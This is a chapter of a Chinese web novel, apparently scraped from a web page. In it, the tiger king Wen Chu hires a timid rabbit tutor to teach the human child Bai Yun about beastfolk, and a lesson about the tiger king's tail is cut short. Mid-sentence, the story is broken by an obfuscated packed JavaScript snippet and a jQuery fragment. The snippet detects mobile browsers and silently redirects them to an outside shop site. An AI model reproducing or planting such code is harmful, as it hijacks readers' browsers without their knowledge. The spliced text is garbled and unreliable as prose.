得知闻褚是在限制白蕴每天吃糖的数量后,池离捂着肚子笑个不停:“不是吧不是吧,堂堂虎王至于连几颗糖都买不起?”
他冲白蕴挤眉弄眼:“小不点,我可没有闻褚那么抠,每天你想吃多少就能吃多少哦。”
池离挖墙脚的意图太过明显,闻褚不动声色地将白蕴挡在身后,凉凉扫他一眼:“糖吃多了对牙齿不好。”
“哈,”池离不在乎地耸耸肩,“那也不至于才给人吃两颗,虐待幼崽呢你?”
白蕴在后面默默点头。
“不过我倒真没想到,人类幼崽居然这么聪明,”池离抬抬下巴,意有所指道,“金高,未来真不考虑一下?”
闻褚摇了摇头:“夸张。”
白蕴很聪明这一点不假,但金高是要求兽人学生全面发展的。
除了聪慧的智力外,对魔法的运用能力、化形的熟练程度、自身的战斗力,这三样同样缺一不可。
闻褚垂眸看了眼白蕴的瘦胳膊细腿,觉得她一样都沾不上边。
不过池离的话再次提醒了他,白蕴的出现和种族都不普通,要想在坞野部落内外找到她的父母肯定希望渺茫。
等她对自己的雏鸟情结消除过后,就是在部落里找一对愿意将她视为自己亲生孩子的兽人父母的时候了。
虽说小不点有时候确实太黏兽了点,但实际上还是很乖巧可爱的,就冲这两点,找到愿意领养她的兽人应该不会太过困难。
只是在那之前,肯定需要让她多了解一些有关兽人部落的知识。
等池离走后,闻褚回头看向身后的幼崽。
她刚剥了颗糖吃,水果糖抵在腮帮一边,脸颊看起来鼓鼓的,很是可爱。
闻褚喊她:“蕴蕴。”
“嗯?”白蕴抬头。
“你愿意和其他兽人幼崽一样,学一些和兽人有关的知识么?”抢在白蕴拒绝之前,闻褚耐心地继续劝导。
“不送你去学校,我请老师到这里来给你上课,每天只上一会儿,这样可以么?”
白蕴目瞪口呆。
好家伙,这就是身为虎王的职权吗?居然还能请专门的兽人老师来对她进行一对一的辅导,可真方便。
她托着下巴,认真思考了一会儿。
其实按照她最初的想法,哪怕是请家教都是完全没有必要的。
不过闻褚都已经退步到了这份上,她要是再无情拒绝的话,好像就有点太不给他面子了。
白蕴用舌尖舔舔糖果:“可以,不过——”
她话锋一转,伸出小手,将闻褚的尾指握在手心里,“你得要答应我,到时候要陪在我身边和我一起听课哦。”
-
在今天的午饭时间里,白蕴终于得偿所愿地吃到了她心心念念的烤肉。
闻褚果真说话算数,加在盖饭上面的烤肉比昨晚他给她吃的那一片大了不止一星半点。
白蕴从小背包里拿出她新购入的格子方巾,煞有其事地铺在闻褚的尾巴上面,再将她的小碗放了上去。
她满意地打量起自己的“杰作”。
优雅,实在是太优雅了。
而当事兽闻褚表示不太想搭理身后的幼崽。
幸好除了整日守在门外的宇燕和在饭点送餐食来的玄鹰以外,平时不会有别的兽人到这边来,不然这幅画面要是被其他兽人瞧了去,肯定会觉得诡异极了。
闻褚有饭后晒太阳的习惯,白蕴解决完盖饭后,便背上自己的小背包,随白虎一道来了院子里。
她含着糖,将小床安置在闻褚身边,小手仍旧拽着他的颈毛,温暖的日光倾洒在小小一团的身体上面,暖洋洋的,很是舒适。
怪不得小猫咪喜欢晒着太阳睡大觉,如果这时候旁边能有一杯冰镇汽水以及一个带wifi的手机的话,那将再完美不过了。
白蕴这样想着,没过多久便沉沉睡了过去。
......
美好的午休时间很快结束,闻褚为白蕴联系的家教老师在下午两点准时上门。
白蕴一边心想这课说上就上,都不给她一点缓冲的时间,一边站在白虎身边,好奇地打量起面前双眼通红、低着头不敢直视闻褚的新老师。
她的目光最后落在老师一对长又白的耳朵上面,在脑海里和七七交流:“我猜老师的种族是只兔子,对不对?”
七七无言以对:【......】
特征都这么明显了,真的还用得着猜吗?
尽管如此,七七仍尽职尽责介绍:【图芸,兽人预备学院A级教师,归属白兔一族。】
图老师声音发抖,她垂着脑袋,一副怕极闻褚的样子:“大、大王好,我来给您的......我来上课。”
负责联系她的兽人没告诉她要来大王家上课的对象是谁,只说需要她来传授一些有关兽人的基础知识。
白蕴歪歪脑袋,觉得在有关兽人这一方面,图老师可能的确非常有资格当她的老师,但在胆大这方面,她或许要比图老师略胜一筹。
不过她稍微换位思考了一下下,如果不把图老师和闻褚当成兽人,而是一只小白兔和一只大白虎面对面站在一起,那么小白兔会怕成这样也是情有可原的了。
而闻褚似乎早对别的兽人这么怕他见怪不怪,他将白蕴轻轻往前一推,淡声说道。
“图老师,这是白蕴,您授课的对象,之后就辛苦您了。”
一听虎王对自己用上了尊称,图老师抖得更加厉害了,她慌张摇头,声音里甚至夹带上了隐隐哭腔。
“大王,您千万别这样说,给学生授课本来就是我应该做的。”
说完,她转头看向白虎旁边的小不点。
身为坞野部落的兽人,图芸自然也听说了虎大王今天带幼崽逛商城街的事。
她想,既然是虎王亲自带的幼崽,想必即使不是和他一个种族,应该也不会远到哪儿去。
但当亲眼见到幼崽时她才发现,这幼崽长得并不是她想象中的凶兽模样,反而......还挺可爱的。
而且奇怪的是,在面对幼崽时,她完全不会产生像面对闻褚那样的紧张和压迫感。
虽然目前尚不明确白蕴的种族,不过这仍不妨碍她对自己新学生的好感度骤然蹭蹭往上加了不少。
图芸紧张的情绪终于因此减轻,她尝试伸出手来:“白同学,你、你好。”
白蕴冲图芸咧嘴笑了笑,露出唇角一对可爱的梨涡,旋即乖巧递上自己的小手:“图老师好呀。”
幼崽的笑容太甜,声音也细声细气的,是幼崽独有的小奶音,感受到她的友好,图芸在心里浅浅松了口气:“那我们开始上课吧。”
她默默等了半分钟,可幼崽身旁的白虎丝毫没有要离开的自觉。
这让好不容易才放松下来的图芸险些又要带上哭腔。她不敢直接问闻褚怎么还不走,可白虎的威压实在压得她喘不过气来。
虎王该不会也要在旁边听她上课吧?那还不如直接要她的命。
最后还是白蕴主动问身边的大白虎:“闻褚,你要去那边看书吗?”
闻褚低低“嗯”了声。
这也是他一开始的打算——小不点听课,他去一旁看书,等课上完,他再去锻炼室开始今天的锻炼。
“好嘞。”白蕴先拉着他去书架找要看的书,再回到圆形石桌前坐下,接着从小背包里拿出卷尺,走到刚好距离白虎十米远的地方停下。
做完这一切后,她朝图芸挥挥手:“图老师,我们就在这里上课,可以吗?”
图芸看得有点懵。
这只幼崽是在做什么?
她下意识看了眼闻褚,见虎王一副见怪不怪,仿佛不管幼崽做出什么事都是很合理的样子,她也不好直接表露自己的困惑。
“当然可以。”
图芸和白蕴就这样面对面坐下,身为老师的图芸率先开口:“白同学,可以请你变回兽形让我看看吗?”
白蕴十分诚实眨眼:“图老师,我不会这个。”
图芸愣了下。
噢,刚学会化形的幼崽还不太会熟练地切换兽形和完整的兽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14206996|150983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人形态,这很正常。
图芸明了点头:“那能请你用一用你会的魔法吗?”
白蕴继续无辜眨眼:“老师,我也不会。”
图芸:“?”
这不对吧,魔法是每只幼崽自出生起就在使用的,这只幼崽怎么可能不会,该不会是在逗她玩吧?
白蕴看出图芸神情中的迷茫和濒临崩溃,为了化解尴尬,她决定主动展示自己唯一的才艺:“图老师,我会认字,需要我给您表演一下吗?”
图芸彻底懵了。
这这这,这又是什么走向?
就在图芸不知该如何是好时,不远处的闻褚抬起头来。
“图老师,您不用指导她化形和使用魔法这两部分,其余预备学院会教给幼崽们什么,您同样教给她就好了。”
“明、明白了,”图芸一抖,“那我们就先从兽人的发展史和部位特征开始吧。”
到了讲课这一部分,她肉眼可见地轻松了许多,讲起知识来流畅无比,不再磕磕绊绊了。
只可惜图芸的声音既轻又温柔,温吞的语速直接让白蕴梦回高中。
她发誓,她真的有在很努力很努力地听课,可这课越听越像是催眠曲,白蕴实在抵挡不住瞌睡虫的攻击,耷拉着脑袋昏昏欲睡。
图芸浑然不觉,就这样将课上到了尾声。
“最后是兽人的尾巴部分,众所周知,兽人的尾巴对于每只兽人而言,意义都非比寻常。尤其是部落的王,尾巴更多了一层意义。”
“对于虎王来说,当有兽人能成功摸到虎王的尾巴时,就说明虎王愿意全身心地将自己献给对方了,只有虎王认定的配......”
图芸的话到这里戛然而止,她陡然瞪大通红的眼睛,震惊地看着前方。
睡意朦胧的白蕴正纳闷图芸的声音怎么突然停了,倏地感觉到自己被轻柔地叼了起来,随即在空中旋转了一百八十度,然后被稳稳放回到了地上:“诶?”
她揉揉惺忪的眼睛,回头望了眼身后,这才发现本该在石桌前看书的大白虎,不知何时来到了自己身边。
白蕴迷糊的脑袋顿时清醒过来:“闻褚?你什么时候过来的?”
他不会发现自己在偷偷睡觉没听课吧?
话说回来,刚刚图老师是不是讲到了什么尾巴来着。
闻褚没有立即回答白蕴的问题,他看着图芸:“今天的课暂时先上到这里吧,辛苦图老师了。”
他说话的时候有意放缓了声音,似乎并不想因为自己的突然打断而吓到图芸,但图芸仍被吓出一声“吱”的叫声:“不、不辛苦,那我就先走了。”
白蕴从白虎背后探出小脑袋,目睹了图芸落荒而逃的全部过程。
她戳戳白虎的背,软声问:“闻褚,你怎么不让图老师继续讲课了呀?”
闻褚转过身:“再上下去,你大概率就要当着图老师的面睡着了。”
他果然发现自己在上课的时候打瞌睡了。
白蕴心虚地清清嗓子,试图为自己辩解:“其实我还是有在听课的。”
闻褚低眸看她:“比如?”
“嗯......”白蕴努力地在脑海里搜寻方才的记忆,想了半天,忽然灵光一闪,“对了,图老师刚刚有说到你的尾巴!”
不知是她的错觉还是怎么,白蕴总觉得眼前的大白虎在听到这句话后,身后轻轻晃着的尾巴僵了一瞬:“你听错了。”
“怎么可能,”白蕴轻轻瞪圆眼睛,别的不说,“虎王”和“尾巴”这两个词她绝对听得清清楚楚,“我就是听到了!”
“我正好奇着呢,结果你就过来把我叼走了,”她越说越觉得就是这么回事,逐渐有了底气,“你为什么不让我继续听下去?”
闻褚沉默良久。
他本就不喜欢说谎,在对上幼崽乌黑润湿的小鹿眼时,更是张口哑然。
他甩着身后雪白的长尾,片刻后,抬爪挡住白蕴的眼睛:“蕴蕴。”
这个行为变相承认了她的话。
“小孩子不能听那些。”